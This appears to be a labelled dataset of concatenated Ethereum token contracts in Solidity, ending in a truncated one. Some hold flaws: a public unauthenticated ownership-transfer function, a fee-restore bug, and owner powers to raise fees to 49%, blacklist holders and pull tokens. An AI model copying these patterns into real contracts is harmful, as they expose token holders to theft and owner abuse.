_blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)); _isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true; _blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)); _isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true; _blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)); _isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true; _blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)); _isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true; _blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)); _isBlackListedBot[address(0xf1CA09CE745bfa38258b26cd839ef0E8DE062A40)] = true; _blackListedBots.push(address(0xf1CA09CE745bfa38258b26cd839ef0E8DE062A40)); _isBlackListedBot[address(0x8719c2829944150F59E3428CA24f6Fc018E43890)] = true; _blackListedBots.push(address(0x8719c2829944150F59E3428CA24f6Fc018E43890)); _isBlackListedBot[address(0xa8E0771582EA33A9d8e6d2Ccb65A8D10Bd0Ea517)] = true; _blackListedBots.push(address(0xa8E0771582EA33A9d8e6d2Ccb65A8D10Bd0Ea517)); _isBlackListedBot[address(0xF3DaA7465273587aec8b2d2706335e06068ccce4)] = true; _blackListedBots.push(address(0xF3DaA7465273587aec8b2d2706335e06068ccce4)); _isBlackListedBot[address(0x9272A2c7083Da2B1C2F0739d9655D1A09764DEAD)] = true; _blackListedBots.push(address(0x9272A2c7083Da2B1C2F0739d9655D1A09764DEAD)); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _nftFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousNftFee = _nftFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _nftFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; _nftFee = _previousMarketingFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[sender], "You have no power here!"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[tx.origin], "You have no power here!"); if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // sorry about that, but sniper bots nowadays are buying multiple times, hope I have something more robust to prevent them to nuke the launch :-( if (sender == uniswapV2Pair) { require(tradingOpen, "Wait for opened trading"); require(balanceOf(recipient) <= _maxTxAmount, "Already bought maxTxAmount, wait till check off"); require(balanceOf(tx.origin) <= _maxTxAmount, "Already bought maxTxAmount, wait till check off"); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. if (!inSwapAndLiquify && swapAndLiquifyEnabled && sender != uniswapV2Pair) { swapTokens(amount, recipient == uniswapV2Pair); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and eth fee _tokenTransfer(sender,recipient,amount,takeFee); } event SwapAndLiquifyFailed(bytes failErr); function swapTokens(uint256 amount, bool isSell) private lockTheSwap { uint256 contractTokenBalance = balanceOf(address(this)); uint256 maxAddedToSlipPage = amount.mul(_swapImpact).div(100); if (isSell && contractTokenBalance > maxAddedToSlipPage) { contractTokenBalance = maxAddedToSlipPage; } swapTokensForEth(contractTokenBalance); sendETHToWallets(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ) { emit SwapTokensForETH(tokenAmount, path); } catch (bytes memory e) { emit SwapAndLiquifyFailed(e); } } function sendETHToWallets(uint256 amount) private { uint256 fees = _marketingFee.add(_nftFee); uint256 marketing = amount.mul(_marketingFee).div(fees); _marketingWalletAddress.transfer(marketing); _nftWalletAddress.transfer(amount.sub(marketing)); } function openTrading() public onlyOwner { tradingOpen = true; } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSwapAmount(uint256 amount) public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= amount , 'contract balance should be greater then amount'); swapTokensForEth(amount); } function manualSend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToWallets(contractETHBalance); } function manualSwapAndSend(uint256 amount) external onlyOwner() { manualSwapAmount(amount); manualSend(); } function setSwapAndLiquifyEnabled(bool _swapAndLiquifyEnabled) external onlyOwner(){ swapAndLiquifyEnabled = _swapAndLiquifyEnabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tNftMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllEthFees(tNftMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tNftMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllEthFees(tNftMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tNftMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllEthFees(tNftMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tNftMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllEthFees(tNftMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeAllEthFees(uint256 tNftMarketing) private { uint256 currentRate = _getRate(); uint256 rNftMarketing = tNftMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rNftMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tNftMarketing); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swapping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tNftMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tNftMarketing); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tNftMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(_taxFee).div(1000); uint256 tNftMarketing = tAmount.mul(_marketingFee.add(_nftFee)).div(1000); uint256 tTransferAmount = tAmount.sub(tFee).sub(tNftMarketing); return (tTransferAmount, tFee, tNftMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tNftMarketing) private view returns (uint256, uint256, uint256) { uint256 currentRate = _getRate(); uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); // thanks myobu for finding bug here, now everybody need to deploy new contracts lmao.. uint256 rNftMarketing = tNftMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rNftMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 0 && taxFee <= 490, 'taxFee should be in 0 - 490'); _taxFee = taxFee; } function _setMarketingFee(uint256 marketingFee) external onlyOwner() { require(marketingFee >= 0 && marketingFee <= 490, 'marketingFee should be in 0 - 490'); _marketingFee = marketingFee; } function _setNftFee(uint256 nftFee) external onlyOwner() { require(nftFee >= 0 && nftFee <= 490, 'nftFee should be in 0 - 490'); _nftFee = nftFee; } function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() { _marketingWalletAddress = marketingWalletAddress; } function _setSwapImpact(uint256 swapImpact) external onlyOwner() { _swapImpact = swapImpact; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 10**9 , 'maxTxAmount should be greater than total 1e9'); _maxTxAmount = maxTxAmount; } function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() { _approve(address(this), owner(), tokenAmount); _transfer(address(this), owner(), tokenAmount); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-02-25 */ /** *Submitted for verification at Etherscan.io on 2021-01-29 */ pragma solidity ^0.6.6; // SPDX-License-Identifier: MIT contract ERC20Roseta { string public constant name = "Roseta"; string public constant symbol = "RST"; uint8 public constant decimals = 8; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor(uint256 total) public { totalSupply_ = total; balances[msg.sender] = totalSupply_; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } function transfer(address receiver, uint numTokens) public returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint numTokens) public returns (bool) { allowed[msg.sender][delegate] = numTokens; Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); Transfer(owner, buyer, numTokens); return true; } function burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); beforeTokenTransfer(account, address(0), amount); balances[account] = balances[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply_ = totalSupply_.sub(amount); emit Transfer(account, address(0), amount); } function beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
True
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pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/KoreanLiberationDayToken.sol contract KoreanLiberationDayToken is StandardToken, Ownable { string public constant name = "Token to commemorate the 73th Korean Liberation Day"; string public constant symbol = "815"; uint8 public constant decimals = 0; uint16 internal constant TOTAL_SUPPLY = 815; mapping (uint16 => address) internal tokenIndexToOwner; bytes32[TOTAL_SUPPLY] tokens; event changeOwnerShip(address _from, address _to, uint16 indexed _tokenId); constructor() public { totalSupply_ = 0; balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function _firstTokenId(address _owner) private view returns(uint16) { require(balanceOf(_owner) > 0); for (uint16 tokenId = 0; tokenId < totalSupply(); tokenId++) { if (this.ownerOf(tokenId) == _owner) { return tokenId; } } } function _bytes32ToString(bytes32 x) private pure returns(string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } function speech(uint16 tokenId) public view returns(string) { return _bytes32ToString(tokens[tokenId]); } function createTokens(bytes32[] _tokens) public onlyOwner { require(_tokens.length > 0); require(totalSupply_ + _tokens.length <= TOTAL_SUPPLY); for (uint16 i = 0; i < _tokens.length; i++) { tokens[totalSupply_++] = _tokens[i]; balances[owner]++; } } function transferTokenOwnership(address _from, address _to, uint16 _tokenId) public returns(bool) { require(_from != address(0)); require(_to != address(0)); require(balanceOf(_from) > 0); tokenIndexToOwner[_tokenId] = _to; emit changeOwnerShip(_from, _to, _tokenId); return true; } function transfer(address _to, uint256 _value) public returns(bool) { require(balanceOf(msg.sender) >= _value); for (uint16 i = 0; i < _value; i++) { transferTokenOwnership(msg.sender, _to, _firstTokenId(msg.sender)); super.transfer(_to, 1); } return true; } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(balanceOf(_from) >= _value); for (uint16 i = 0; i < _value; i++) { transferTokenOwnership(_from, _to, _firstTokenId(_from)); super.transferFrom(_from, _to, 1); } return true; } function transferBatch(address [] _to) public returns(bool) { require(_to.length > 0); require(balanceOf(msg.sender) >= _to.length); for (uint16 i = 0; i < _to.length; i++) { transferTokenOwnership(msg.sender, _to[i], _firstTokenId(msg.sender)); super.transfer(_to[i], 1); } return true; } function approveBatch(address [] _to) public returns(bool) { require(_to.length > 0); require(balanceOf(msg.sender) >= _to.length); for (uint16 i = 0; i < _to.length; i++) { allowed[msg.sender][_to[i]] = 1; emit Approval(msg.sender, _to[i], 1); } return true; } function ownerOf(uint16 _tokenId) external view returns(address tokenOwner) { require(_tokenId < totalSupply()); tokenOwner = tokenIndexToOwner[_tokenId]; if (tokenOwner == address(0)) { return owner; } } function tokensOfOwner(address _owner) external view returns(uint16[]) { uint256 tokenCount = balanceOf(_owner); uint16 idx = 0; if (tokenCount == 0) { return new uint16[](0); } else { uint16[] memory result = new uint16[](tokenCount); for(uint16 tokenId = 0; tokenId < totalSupply(); tokenId++) { if (this.ownerOf(tokenId) == _owner) { result[idx++] = tokenId; } } } return result; } function speechOfOwner(address _owner) external view returns(bytes32[]) { uint256 tokenCount = balanceOf(_owner); uint16 idx = 0; if (tokenCount == 0) { return new bytes32[](0); } else { bytes32[] memory result = new bytes32[](tokenCount); for(uint16 tokenId = 0; tokenId < totalSupply(); tokenId++) { if (this.ownerOf(tokenId) == _owner) { result[idx++] = tokens[tokenId]; } } } return result; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-08 */ /** *Submitted for verification at Etherscan.io on 2021-06-08 */ /* Marketing paid Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing Devs of Shibramen © SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBABREAD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private 